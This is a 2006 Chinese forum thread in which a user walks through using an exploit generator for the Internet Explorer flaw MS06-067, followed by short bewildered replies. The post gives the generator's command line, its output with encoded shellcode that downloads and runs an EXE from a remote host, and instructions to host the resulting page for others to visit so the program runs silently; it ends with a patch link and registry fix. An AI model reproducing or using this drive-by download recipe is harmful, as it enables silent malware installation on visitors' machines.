SiS001! Board - [第一会所关闭注册]

标题: [交流] 令人汗顏的IE最新漏洞（MS06-067）利用測試 [打印本页]

作者: s1005t 时间: 2006-12-2 17:21 标题: 令人汗顏的IE最新漏洞（MS06-067）利用測試

这个漏洞太恐怖了，恐怖的让我不敢写出来，考虑到马上网上这样的工具都会泛滥，还是提前告诉大家比较好，我不详细的利用过程，如果你接触过类似的，肯定是会使用的，再次奉劝大家，测试为主，不要乱挂马，危害他人！

受影响的系统：
Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 2
Microsoft Windows XP Professional x64 Edition
Microsoft Windows Server 2003
Microsoft Windows Server 2003 Service Pack 1
Microsoft Windows Server 2003（用于基于 Itanium 的系统）
Microsoft Windows Server 2003 SP1（用于基于 Itanium 的系统）
Microsoft Windows Server 2003 x64 Edition

受影响软件：
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP4

不受影响软件：
Internet Explorer 7
－－－－－－－－－－－－－

利用过程如下，刚才写的时候突然断网，重新写一次，郁闷。。

1、首先把一个你需要运行的EXE文件放在网上，得到地址： <a href="http://www.1steam.cn/tools/jhzj.exe（我这里测试用的是按钮突破专家）。" target="_blank">http://www.1steam.cn/tools/jhzj.exe（我这里测试用的是按钮突破专家）。

2、接着看下这个生成工具（LION提供的，谢）的使用方法：
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

Usage: e:/ms_exp/06067/ms06067.exe <URL> [htmlfile]
<URL>－－就是你的EXE的路径，如我这里的“按钮突破专家”的地址：
[htmlfile]－－需要生成的HTML文件的名称，如我这里的1st.html

3、生成过程，按照上面的格式就可以生成了，过程如下：

Quote:
E:\Ms_exp\06067>ms06067 http://www.1steam.cn/tools/jhzj.exe 1st.html
[+] download url:http://www.1steam.cn/tools/jhzj.exe
[+] exploit file:1st.html
"%ua3e9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c"
"%u1c70%u8bad%u0868%uf78b%u046a%ue859%u0043%u0000"
"%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u9516"
"%u2ee8%u0000%u8300%u20ec%udc8b%u206a%uff53%u0456"
"%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300"
"%u50c0%u5350%u5057%u56ff%u8b10%u50dc%uff53%u0856"
"%u56ff%u510c%u8b56%u3c75%u748b%u782e%uf503%u8b56"
"%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be"
"%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775"
"%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd"
"%u8b04%uc503%u5eab%uc359%u58e8%uffff%u8eff%u0e4e"
"%uc1ec%ue579%u98b8%u8afe%uef0e%ue0ce%u3660%u2f1a"
"%u6870%u7474%u3a70%u2f2f%u7777%u2e77%u7331%u6574"
"%u6d61%u632e%u2f6e%u6f74%u6c6f%u2f73%u686a%u6a7a"
"%u652e%u6578%u0000";
[+] exploit write to 1st.html success!

看到这句：[+] exploit write to 1st.html success!就说明成功了。可以去ms06067.exe的目录下，看到生成的HTML文件1st.html。
4、把这个HTML文件放在网上，给人家访问就可以了，我这里的这个测试网页地址在：
http://www.1steam.cn/modiy/1st.html　，你可以打开看看效果，如果你能看到运行的“按钮突破专家”，说明成功。

5、修补
官方已经除了补丁，地址在：http://www.microsoft.co.ke/china ... letin/MS06-067.mspx。

或者修补如下（LION提供的，再谢）：
请将以下文本粘贴于记事本等文本编辑器中。然后，使用.reg文件扩展名保存文件：
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet
Explorer\ActiveX Compatibility\{D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}]
"Compatibility Flags"=dword:00000400
双击此.reg文件将其应用到各个系统。

PS：这个漏洞，运行EXE不闪，也不弹窗，不声不响的，太恐怖了！

作者: 小马快跑 时间: 2006-12-3 01:48

深奥，不懂。老天保佑没有坏人要欺负我！因为我用的是IE7.0。

作者: shaojida 时间: 2006-12-3 15:04

:s_6:
看不懂,只好等哪位高手给个简单的做法

作者: helloSIS 时间: 2006-12-3 18:45

楼上说的对，好像超越了大部分人的理解能力啊

欢迎光临 SiS001! Board - [第一会所关闭注册] (http://23.225.172.100/bbs/)